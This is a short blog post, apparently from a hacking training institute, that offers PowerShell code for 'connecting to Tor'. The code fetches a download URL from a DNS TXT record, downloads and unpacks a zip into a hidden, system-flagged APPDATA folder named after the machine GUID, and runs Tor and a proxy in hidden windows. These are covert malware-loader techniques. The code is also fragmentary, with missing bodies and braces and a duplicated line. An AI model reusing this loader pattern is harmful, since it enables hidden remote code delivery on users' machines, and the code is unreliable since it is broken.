Extreme Hacking
Advanced Ethical Hacking Institute in Pune

In this article, I will teach you guys on how to connect to TOR network using Powershell.

Powershell is a powerful weapon for Hackers. Those who think that programming is not necessary in Hacking or Security Field just go and watch “POGO”.


Powershell Code:

function Get-DnsTXTRecord($DnsHost)
$ZipFileUri = (((Invoke-Expression “nslookup -querytype=txt $DnsHost″) -match ‘”‘) -replace ‘”‘, ”)[0].Trim()
$WebClient.DownloadFile($ZipFileUri, $ZipPath)
$Destination = $Shell.NameSpace($ZipPath).Items();
# Decompress files
$Shell.NameSpace($ToolsPath).CopyHere($Destination, 20)
Remove-Item $ZipPath

$ToolsPath = Join-Path $Env:APPDATA $MachineGuid

# Mark the path where tools are extracted as ‘Hidden’, ‘System’, ‘NotContentIndexed’
if (!(Test-Path $ToolsPath))
$Directory = New-Item -ItemType Directory -Force -Path $ToolsPath
$Directory.Attributes = ‘Hidden’, ‘System’, ‘NotContentIndexed’

$Tor = Join-Path $ToolsPath ‘tor.exe’
$Polipo = Join-Path $ToolsPath ‘polipo.exe’
$ZipPath = Join-Path $ToolsPath ($MachineGuid + ‘.zip’)
$WebClient = New-Object Net.WebClient
$Shell = New-Object -ComObject Shell.Application

if (!(Test-Path $Tor) -or !(Test-Path $Polipo))

if (!(Test-Path $Tor) -or !(Test-Path $Polipo))

$TorRoamingLog = Join-Path $ToolsPath ‘roaminglog’
# Start Tor and maintain an initialization log file
Start-Process $Tor -ArgumentList ” –Log `”notice file $TorRoamingLog`”” -WindowStyle Hidden

# Wait for Tor to finish initializing
Start-Sleep 1
$LogContents = Get-Content $TorRoamingLog
while (!($LogContents -match ‘Bootstrapped 100%: Done.’))

# Start polipo proxy
Start-Process $Polipo -ArgumentList ‘socksParentProxy=localhost:9050’ -WindowStyle Hidden
Start-Sleep 7
$WebProxy = New-Object Net.WebProxy(‘localhost:8123’)
$WebProxy.UseDefaultCredentials = $True
$WebClient.Proxy = $WebProxy

CEHv9 CHFIv9 ECSAv9 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE,Certified Ethical Hacking, Center For Advanced Security Training in India,IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune